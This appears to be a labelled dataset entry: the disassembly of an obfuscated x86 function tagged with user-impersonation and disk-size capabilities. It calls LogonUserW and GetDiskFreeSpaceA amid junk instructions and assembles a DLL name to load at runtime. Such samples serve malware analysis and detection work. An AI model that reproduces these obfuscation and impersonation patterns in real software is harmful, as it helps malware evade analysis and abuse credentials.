Function at 0x404dac
Capabilities:
Get disk size
Impersonate user

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe50
xchg dword [0x42e0d4], ebx
cmp byte [0x42e03f], 0
jle 0x404def
mov dword [0x42e093], edx
add ebx, 0xf5
mov byte [0x42e069], 0xe5
mov dword [0x42e0c5], 0x15925
lea esi, [0x42e0a1]
mov dword [esi], 0x17
jmp 0x404dfd
dec ecx
mov dword [0x42e08d], edi
mov byte [0x42e0fc], 0x53
and dword [0x42e01d], esi
cmp dh, byte [0x42e0ed]
jne 0x404e25
mov dword [0x42e07d], edx
mov edi, dword [esp + 8]
mov dword [0x42e0e2], 0x10b98
mov dword [0x42e0c8], esi
mov edx, ebx
mov dword [0x42e072], edi
mov dword [esp - 0x12], edx
mov edi, dword [esp + 0x1c]
call fcn.00402990
push 0x42e10d
call fcn.004020cc
call fcn.00401774
mov dword [0x42e0ff], 0x129d3
sub edx, 0xd2
lea eax, [0x42e059]
mov dword [eax + 0x24], ebx
xchg dword [0x42e040], edi
mov dword [0x42e0df], 0x102d8
call fcn.00402c6c
xchg dword [0x42e0d4], ebx
cmp byte [0x42e03f], 0
jle 0x404eb1
mov dword [0x42e093], edx
add ebx, 0xf5
mov byte [0x42e069], 0xe5
mov dword [0x42e0c5], 0x15925
lea esi, [0x42e0a1]
mov dword [esi], 0x17
jmp 0x404ebf
dec ecx
mov dword [0x42e08d], edi
mov byte [0x42e0fc], 0x53
and dword [0x42e01d], esi
cmp dh, byte [0x42e0ed]
jne 0x404ee7
mov dword [0x42e07d], edx
mov edi, dword [esp + 8]
mov dword [0x42e0e2], 0x10b98
mov dword [0x42e0c8], esi
mov edx, ebx
mov dword [0x42e072], edi
mov dword [esp - 0x12], edx
mov edi, dword [esp + 0x1c]
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov dword [ebp - 4], 0x145ff
mov eax, 0x40585c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10f]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_GetClassInfoA
call fcn.00402990
mov dword [0x42e037], edi
sub dword [0x42e097], ecx
mov dword [0x42e094], eax
cmp dword [0x42e0c1], 0
jg 0x404f6c
mov dword [0x42e0e7], eax
lea ecx, [0x42e015]
sub dword [ecx + 0xc], 0x67
mov edx, 0x19c
mov dword [0x42e0bb], ebx
mov dword [esp - 0x12], edi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetThreadLocale
test eax, eax
jne 0x404f8d
call fcn.00402990
cmp word [0x42e10c], 0
jne 0x404f9d
mov dword [0x42e06a], ecx
lea edx, [0x42e0a3]
add dword [edx + 0xc], 0xb
mov dword [0x42e0c9], edi
xchg dword [0x42e01d], esi
mov dword [0x42e084], edi
mov dword [0x42e05b], 0x14e2c
mov dword [0x42e110], 0x17f82
mov eax, 0x405870
mov dword [ebp - 0x10], eax
mov eax, 0x405894
mov dword [ebp - 0x14], eax
mov eax, 0x4058b0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], 0x13133
mov dword [ebp - 0x20], 0x101c8
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_LogonUserW
mov dword [0x42e037], edi
sub dword [0x42e097], ecx
mov dword [0x42e094], eax
cmp dword [0x42e0c1], 0
jg 0x40503b
mov dword [0x42e0e7], eax
lea ecx, [0x42e015]
sub dword [ecx + 0xc], 0x67
mov edx, 0x19c
mov dword [0x42e0bb], ebx
mov dword [esp - 0x12], edi
mov dword [0x42e106], 0x12aed
mov dword [0x42e06d], edi
mov dword [0x42e03b], edx
cmp word [0x42e0d5], 0
jl 0x40507c
mov dword [0x42e088], ebx
mov dword [0x42e110], esi
mov dword [0x42e07f], ebx
mov dword [0x42e027], 0x1623e
mov dword [0x42e09b], ecx
mov eax, 0x4058cc
mov dword [ebp - 0x28], eax
mov eax, 0x4058e0
mov dword [ebp - 0x2c], eax
mov eax, 0x4058f8
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0x12a08
mov dword [ebp - 0x38], 0x1c014
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x28]
push eax
call sub.advapi32.dll_LogonUserW
test eax, eax
jne 0x4050d8
mov eax, 0x42e0b5
call fcn.00404508
mov dword [0x42e09d], edx
sub esi, dword [0x42e066]
mov dword [0x42e090], ecx
mov dword [0x42e051], edx
mov dword [0x42e07a], edi
mov dword [ebp - 0x40], 0x10a99
mov eax, 0x405908
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x137]
push eax
mov eax, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.user32.dll_GetClassInfoA
test eax, eax
jne 0x40515c
mov dword [0x42e037], edi
sub dword [0x42e097], ecx
mov dword [0x42e094], eax
cmp dword [0x42e0c1], 0
jg 0x40514d
mov dword [0x42e0e7], eax
lea ecx, [0x42e015]
sub dword [ecx + 0xc], 0x67
mov edx, 0x19c
mov dword [0x42e0bb], ebx
mov dword [esp - 0x12], edi
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov eax, 0x40591c
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0x1702b
mov dword [ebp - 0x50], 0x1160f
mov dword [ebp - 0x54], 0x1caf1
mov dword [ebp - 0x58], 0x1171c
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x4c]
push eax
mov eax, dword [ebp - 0x48]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
mov dword [0x42e09d], edx
sub esi, dword [0x42e066]
mov dword [0x42e090], ecx
mov dword [0x42e051], edx
mov dword [0x42e07a], edi
call fcn.00401774
mov byte [ebp - 0xe7], 0
cmp word [0x42e10c], 0
jne 0x4051f5
mov dword [0x42e06a], ecx
lea edx, [0x42e0a3]
add dword [edx + 0xc], 0xb
mov dword [0x42e0c9], edi
xchg dword [0x42e01d], esi
mov dword [0x42e084], edi
mov dword [0x42e05b], 0x14e2c
mov dword [0x42e110], 0x17f82
mov eax, 0x405920
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0x18335
mov dword [ebp - 0x64], 0x122d3
mov dword [ebp - 0x68], 0x181f2
mov dword [ebp - 0x6c], 0x19e8a
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
test eax, eax
inc byte [ebp - 0xe7]
cmp byte [ebp - 0xe7], 3
jne 0x4051e5
call fcn.00402c6c
cmp word [0x42e10c], 0
jne 0x40528c
mov dword [0x42e06a], ecx
lea edx, [0x42e0a3]
add dword [edx + 0xc], 0xb
mov dword [0x42e0c9], edi
xchg dword [0x42e01d], esi
mov dword [0x42e084], edi
mov dword [0x42e05b], 0x14e2c
mov dword [0x42e110], 0x17f82
call fcn.00402c6c
xchg dword [0x42e0d4], ebx
cmp byte [0x42e03f], 0
jle 0x4052fb
mov dword [0x42e093], edx
add ebx, 0xf5
mov byte [0x42e069], 0xe5
mov dword [0x42e0c5], 0x15925
lea esi, [0x42e0a1]
mov dword [esi], 0x17
jmp 0x405309
dec ecx
mov dword [0x42e08d], edi
mov byte [0x42e0fc], 0x53
and dword [0x42e01d], esi
cmp dh, byte [0x42e0ed]
jne 0x405331
mov dword [0x42e07d], edx
mov edi, dword [esp + 8]
mov dword [0x42e0e2], 0x10b98
mov dword [0x42e0c8], esi
mov edx, ebx
mov dword [0x42e072], edi
mov dword [esp - 0x12], edx
mov edi, dword [esp + 0x1c]
mov ecx, 0x42e0fb
call fcn.00401774
mov dword [esp - 0x18], edi
mov eax, edx
mov edi, dword [0x42e093]
mov dword [0x42e0bf], ecx
mov dword [0x42e06e], ebx
mov eax, 0x405930
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], 0x17390
mov dword [ebp - 0x78], 0x196fd
mov dword [ebp - 0x7c], 0x15a93
mov dword [ebp - 0x80], 0x12417
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
test eax, eax
jne 0x4053e6
mov dword [0x42e106], 0x12aed
mov dword [0x42e06d], edi
mov dword [0x42e03b], edx
cmp word [0x42e0d5], 0
jl 0x4053d6
mov dword [0x42e088], ebx
mov dword [0x42e110], esi
mov dword [0x42e07f], ebx
mov dword [0x42e027], 0x1623e
mov dword [0x42e09b], ecx
mov eax, 0x40593c
mov dword [ebp - 0x84], eax
mov eax, 0x40595c
mov dword [ebp - 0x88], eax
mov eax, 0x40597c
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x90], 0x1b07d
mov dword [ebp - 0x94], 0x1e3bc
lea eax, [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
push eax
mov eax, dword [ebp - 0x90]
push eax
mov eax, dword [ebp - 0x8c]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0x84]
push eax
call sub.advapi32.dll_LogonUserW
call fcn.00404358
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov dword [ebp - 0x9c], 0x11fe5
mov eax, 0x40599c
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x15f]
push eax
mov eax, dword [ebp - 0xa0]
push eax
mov eax, dword [ebp - 0x9c]
push eax
call sub.user32.dll_GetClassInfoA
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov dword [ebp - 0xa4], 0x1cc65
mov eax, 0x4059a8
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0x187]
push eax
mov eax, dword [ebp - 0xa8]
push eax
mov eax, dword [ebp - 0xa4]
push eax
call sub.user32.dll_GetClassInfoA
call fcn.00404358
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov eax, dword [ebp - 0xac]
push eax
call sub.kernel32.dll_SetThreadLocale
test eax, eax
jne 0x40554d
mov dword [0x42e079], ebx
mov dword [0x42e0db], 0x15aa1
mov dword [0x42e054], ebx
mov word [0x42e0e5], 0x8e3f
mov dword [0x42e02c], edi
call fcn.00401774
mov dword [0x42e0ff], 0x129d3
sub edx, 0xd2
lea eax, [0x42e059]
mov dword [eax + 0x24], ebx
xchg dword [0x42e040], edi
mov dword [0x42e0df], 0x102d8
mov eax, 0x4059ac
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xb4], 0x1e2f5
mov dword [ebp - 0xb8], 0x1c074
mov dword [ebp - 0xbc], 0x10376
mov dword [ebp - 0xc0], 0x1083b
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xb4]
push eax
mov eax, dword [ebp - 0xb0]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
test eax, eax
jne 0x4056c7
mov byte [ebp - 0xe7], 0
mov dword [0x42e106], 0x12aed
mov dword [0x42e06d], edi
mov dword [0x42e03b], edx
cmp word [0x42e0d5], 0
jl 0x405617
mov dword [0x42e088], ebx
mov dword [0x42e110], esi
mov dword [0x42e07f], ebx
mov dword [0x42e027], 0x1623e
mov dword [0x42e09b], ecx
mov eax, 0x4059c4
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc8], 0x15120
mov dword [ebp - 0xcc], 0x1e5b1
mov dword [ebp - 0xd0], 0x1a940
mov dword [ebp - 0xd4], 0x1e105
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0xc8]
push eax
mov eax, dword [ebp - 0xc4]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceA
test eax, eax
jne 0x40568b
call fcn.00404358
mov dword [0x42e0ff], 0x129d3
sub edx, 0xd2
lea eax, [0x42e059]
mov dword [eax + 0x24], ebx
xchg dword [0x42e040], edi
mov dword [0x42e0df], 0x102d8
inc byte [ebp - 0xe7]
cmp byte [ebp - 0xe7], 2
jne 0x4055e5
mov dword [0x42e0e7], 0x10066
mov dword [0x42e025], edx
mov dword [0x42e087], edi
mov dword [0x42e04f], esi
mov dword [0x42e0fc], ecx
mov dword [ebp - 0xd8], 0x15558
mov eax, 0x4059d8
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0x1af]
push eax
mov eax, dword [ebp - 0xdc]
push eax
mov eax, dword [ebp - 0xd8]
push eax
call sub.user32.dll_GetClassInfoA
test eax, eax
mov byte [0x42e049], 0xd4
inc ecx
lea ebx, [0x42e0ba]
and dword [ebx + 0xc], 0x2a
mov dword [0x42e01c], 0x15e3f
test cl, cl
je 0x40575d
mov dword [0x42e0d8], ebx
mov word [0x42e0ef], 0x3a73
mov esi, edx
mov dword [0x42e0f0], eax
lea esi, [0x42e103]
sub dword [esi + 0x1c], 0x42
and esi, edi
mov dword [0x42e0e6], edx
add dword [0x42e058], esi
xchg dword [0x42e0d9], edx
mov dword [0x430240], 0x6c736461
mov dword [0x430244], 0x2e637064
mov dword [0x430248], 0x6c6c64
call fcn.00402990
cmp byte [ebp - 0x24], al
jge 0x4057a5
mov dword [0x42e04c], edi
mov dword [0x42e041], edx
jmp 0x4057c0
mov dword [0x42e08b], esi
mov dword [0x42e082], edi
mov dword [0x42e0d9], esi
and ecx, 0x13
mov dword [0x42e021], edx
mov dword [0x42e0e8], esi
sub dword [0x42e108], ebx
mov dword [0x42e0b7], edx
lea eax, [0x430240]
call fcn.0040205c
push 0x430254
call sub.kernel32.dll_LoadLibraryW
sub eax, esi
mov dword [0x4302dc], eax
add dword [0x4302dc], esi
mov dword [0x42e063], ebx
mov byte [0x42e041], 0x4a
mov dword [esp - 0x18], edx
add dword [0x42e0a8], esi
mov dword [0x42e0d3], edi
call fcn.00401774
mov dword [esp - 0x18], edi
mov eax, edx
mov edi, dword [0x42e093]
mov dword [0x42e0bf], ecx
mov dword [0x42e06e], ebx
jmp fcn.00404bdc